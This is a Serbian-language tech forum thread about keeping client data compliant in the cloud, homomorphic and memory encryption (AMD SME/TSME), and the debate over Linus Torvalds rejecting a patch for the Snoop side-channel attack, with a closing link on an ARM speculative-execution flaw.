Moje resenje za klijente sa restriktivnim zakonima (Nemacka, konkrertno) je da koristimo cloud za obradu podataka koji ne sadrze privatne informacije, a fizicki hardver, iskljucivo unutar Nemacke, za podatke klijenata - naravno kod provajdera koji je pod obavezom da postuje iste zakone kao moj klijent. Samim tim smo i on i ja pokriveni.

Sustina je da cloud provajderi ulazu (jer moraju) brdo love da budu compliant - a to nisu ako imaju ovakve probleme. Zato je sve ovo prestalo da bude zabavno..... Korisnike koji imaju svoj hardver to boli mnogo manje.

BTW, imam i specijalan slucaj, jedan od mojih klijenata radi za cloud provider.... :) Mnogo dobra fora jer ne mogu da nagrabuse sto im provajder nije compliant, kad je provajder i narucilac posla. ;) (klijent ima JAKO dobre advokate :) )
[ mjanjic @ 01.04.2020. 06:19 ] @
A primena homomorfne enkripcije?
Tu na Cloud šalješ već enkriptovane podatke, oni se obrađuju enkriptovani, vraćaju korisniku i tu se dekriptuju, a rezultat je kao da je obrada urađena nad dekriptovanim podacima.
Već postoji dosta biblioteka otvorenog koda za homomorfnu enkripciju, primer su HElib od IBM-a, SEAL od MS-a, PALISADE i HEAAN.

Da li je primenjivo baš na sve, pitanje je.


Inače, sledeće generacije procesora će verovatno imati podršku za enkripiciju cele memorije, Intel je to već najavio u februaru - Multi-Key Total Memory Encryption (MKTME), dok AMD već ima nešto slično i vidu Secure Memory Encryption (SME).
[ Branimir Maksimovic @ 01.04.2020. 07:36 ] @
Glede enkripcije https://www.tomshardware.com/f...tel-amd-most-secure-processors
I Intel i AMD imaju resenja u tom fazonu.

edit:
mislim nije mi jasno zasto se ovo vise ne koristi kad ga ima?
[ Branimir Maksimovic @ 01.04.2020. 22:13 ] @
Pih, sad cu da vidim jel moj bios to podrzava. Najveci fazon, recimo kod AMD-a je podrska u BIOS-u za enkripciju, ne u procesoru.
Inace samo pro varijante i Epyc ovo imaju :(
[ Branimir Maksimovic @ 01.04.2020. 23:33 ] @
Hehe, Asrock ne gleda koji je CPU!
Znaci enablovao transparent ekripciju i mogu da se logujem preko sshd i potvrdim da radi,
samo sto GPU drajver ne moze da radi sa enkriptovanom memorijom :P
Znaci ovo je vise za servere nego za desktop za sada :(

edit:
Ola, problem sa drajverom je samo onda kada se enripcija enabluje u kernelu!
Enablovao samo u bios-u i gle oko 6% sporiji rad sa memorijom.
Znaci kada se enabluje u BIOS-u i kada radi transparentno sa OS-om,
nema nikakvih problema! E sad da li mozete da zivite sa time da vam
je 6% sporiji memory access?

edit2:
zapravo ja sam enablovao SME u kernelu, i to nece.
Ali T(ransparent)SME uopste ne trazi nikakvu podrsku u kernelu :P


[Ovu poruku je menjao Branimir Maksimovic dana 02.04.2020. u 01:13 GMT+1]

[Ovu poruku je menjao Branimir Maksimovic dana 02.04.2020. u 01:14 GMT+1]

[Ovu poruku je menjao Branimir Maksimovic dana 02.04.2020. u 01:23 GMT+1]
[ nkrgovic @ 02.04.2020. 07:33 ] @
Sve zavisi od namene, ali da - uglavnom mogu bez problema da zivim sa time da CPU ima 6% usporenje memorije, ako za to dobijem enkripciju. Razmisljam, ima jako malo mesta gde to nije prihvatljivo.... To je, zapravo, pitanje za finansije - da li se isplati rizik, ako njegova mitigacija kosta 5% :) Mislim da ce svaki pristojan CFO reci da je 5% OK.
[ Branimir Maksimovic @ 02.04.2020. 13:01 ] @
Nego moram da ti se zahvalim, od mojeg potpunog neznanja u vezi enkripcije, ispalo je da moj hardver to radi, samo je trebalo u BIOS-u da ukljucim opciju :P
[ nkrgovic @ 02.04.2020. 14:04 ] @
Aj' kad ovo prodje idem na kafu? :) Sretoh ti zenu pre par meseci u gradu, ispricasmo se... ali tebe nisam par godina.
[ Branimir Maksimovic @ 02.04.2020. 14:43 ] @
Dogovoreno!
[ Branimir Maksimovic @ 05.04.2020. 20:00 ] @
Nego sad mi je jasno zbog cega SME, tj da OS i programi budu svesni enkripcije.
Jednostavno performanse. Znaci kada se enkriptuje samo ono sto je senzitivno
onda nema tih 5-6% gubitka performansi.
Od kernela 5.7 AMDGPU ce da dobije neophodne patcheve pa cemo videti :P
[ Branimir Maksimovic @ 18.04.2020. 09:16 ] @
"Od kernela 5.7 AMDGPU ce da dobije neophodne patcheve pa cemo videti :P"

Jos nisu slegli pathevi za AMDGPU :(
[ Branimir Maksimovic @ 04.06.2020. 03:18 ] @
https://www.zdnet.com/article/...ch-for-intel-cpu-snoop-attack/

Citat:

Linux kernel head Linus Torvalds has trashed a patch from Amazon Web Services (AWS) engineers that was aimed at mitigating the Snoop attack on Intel CPUs discovered by an AWS engineer earlier this year.

The so-called 'Snoop-assisted L1 Data Sampling', or Snoop (CVE-2020-0550) attacks affecting a range of Intel Xeon and Core CPUs were disclosed in March.

AWS engineer Pawel Wieczorkiewicz discovered a way to leak data from an Intel CPU's memory via its L1D cache, which sits in CPU cores, through 'bus snooping' – the cache updating operation that happens when data is modified in L1D.


Dalje:
Citat:

But, as spotted by Phoronix, Torvalds believes the patch will allow applications that opt in to the patch to degrade CPU performance for other applications.

"Because it looks to me like this basically exports cache flushing instructions to user space, and gives processes a way to just say 'slow down anybody else I schedule with too'," wrote Torvalds yesterday.

"In other words, from what I can tell, this takes the crazy 'Intel ships buggy CPU's and it causes problems for virtualization' code (which I didn't much care about), and turns it into 'anybody can opt in to this disease, and now it affects even people and CPU's that don't need it and configurations where it's completely pointless'.


Sta mislite? Da li je Linus u pravu?
[ nkrgovic @ 04.06.2020. 09:11 ] @
Ako hoces high tech cringe, LKML je "place to go". Linus je jezivo sposoban developer, koji je cesto u pravu.... Ono sto je meni u tom thread-u privuklo paznju je ono sto je napisao ovde:
Citat:
I don't want some application to go 'Oh, I'm _soo_ special and pretty and such a delicate flower, that I want to flush the L1D on every task switch, regardless of what CPU I am on, and regardless of whether there are errata or not' … I do not want the kernel to do things that seem to be "beyond stupid".

Ovo nije tehnicki, vec social aspect, ali u pravu je. Ocekujem da develoeri softvera tipa sshd to maksimalno koriste, bukvalno ces imati "flush L1 cache" svaki put kad radis context switch za sshd... Sto je sa jedne strane opravdano od njih (oni jesu "special snowflake", u smislu security-ja), ali sa druge ces obeshrabriti bilo koga da se ssh-uje na server, jer ce ubiti ceo core time. Strasno.

Pri tom, ako masina ima hyper-threading, ti mozes da napadnes sa drugog CPU thread-a i pre context switching-a, jer se isti ne desava. Bukvalno, krenes, pa sta je sa tobom na istom core-u u drugom HT pipeline-u, tvoje je. To je i najgori deo, nisi resio problem, a uveo si nesto sto ubija performanse. Amazon ovo gura, jer oni maksimalno koriste sharing (ali i hyper-threading), ali ovo nije resenje.

Da mislim da je Linus u pravu - ne "ovo ne treba da se radi" u pravu, vec "ovo ne resava problem u stvarnosti - a donosi nove probleme" u pravu. Treba nam bolje resenje. Na zalost, nisam siguran koje, i nisam siguran koliko je moguce resiti... Koliko ovo pogadja druge proizvodjace je pitanje, ali meni se cini da je polako vreme da se, za servere, odustane od Intel-a. Ja, zbog ovakvih stvari, sve sto mogu, a sto je cloud, uzimam kao AMD. I dalje ima problema, ali manje. Ovo su razlozi zasto ce privatni cloud ostati "viable" jos dugo vremena....
[ Ivan Dimkovic @ 04.06.2020. 19:23 ] @
@Branimir,

Citat:

Sta mislite? Da li je Linus u pravu?


Naravno da je Linus u pravu. Dati obicnoj aplikaciji privilegije da urnise sistemske performanse je apsolutno neodgovorno.

Ko hoce to da radi, za njega treba da postoji opcija konfigurisanja CPU polise na nivou sistema i to je to.

Windows je tako davno dozvolio bilo kojoj aplikaciji (cak i bez admin. privilegija) da menja rezoluciju sistemskog scheduler-a.

Originalna ideja je, naravno, iz doba Windows 95-tice kada su lose pisane aplikacije na ovaj nacin dobijale "visoku rezoluciju" tajmera - do 1ms (default je 10-15 ms u zavisnosti od sistema).

Sve je to divno, ali povecati rezoluciju sa 15ms na 1ms znaci umesto 66 interapta sistem tada ispucava 1000 interapta u sekundi. 1000 puta u sekundi se procesor probudi, sistemski scheduler radi housekeeping, budi niti, sprecava sistem da udje u rezim nize potrosnje itd.

1995-te nikoga nije bilo briga. Cak ni 2005-te verovatno nikoga nije bilo briga.

2015-te? Ljudi primetili kako im misteriozno baterije na laptopu traju mnogo krace. U cemu je bila fora? Google Chrome je bio jedan od "korisnika" ovog API-ja i bez pitanja krljao sistemski tajmer na 1ms rezoluciju.

Zasto? Verovatno nisu stavili A-tim da im raspise kod za pustanje multimedije. B-tim verovatno nije umeo da izadje na kraj sa A/V sinhronizacijom uz pomoc 10-15ms rezolucije za tajmere, pa su uradili najlaksu mogucu stvar: povecali rezoluciju 10-15 puta.

Jedini problem je sto to povecanje bukvalno urnise efikasnost sistema, sto je i primeceno.

Najjace je sto OS bez problema dozvoljava bilo kojoj aplikaciji da bez problema urnise sistem.

To bi se isto desilo i sa Linuxom da Linus dozvoli da aplikacija moze da podesava CPU polise.
[ Branimir Maksimovic @ 12.06.2020. 05:16 ] @
Gle, ni ARM nije imun:
https://www.tomshardware.com/n...de-channel-attack-hits-arm-cpu

Citat:

Straight-line Speculation (SLS) is a speculative execution which exploits CPUs that access data in advance to increase performance,
and then discard any unused computational branches. Side channel attacks such as this could enable malicious attackers to steal data
from the CPU. In a answer from the Arm Developer FAQ page “Note that at present we deem the security risk to be low as this would
be difficult to exploit in practice, and a practical exploit has yet to be demonstrated. However, the possibility cannot be dismissed which is why Arm is acting now.”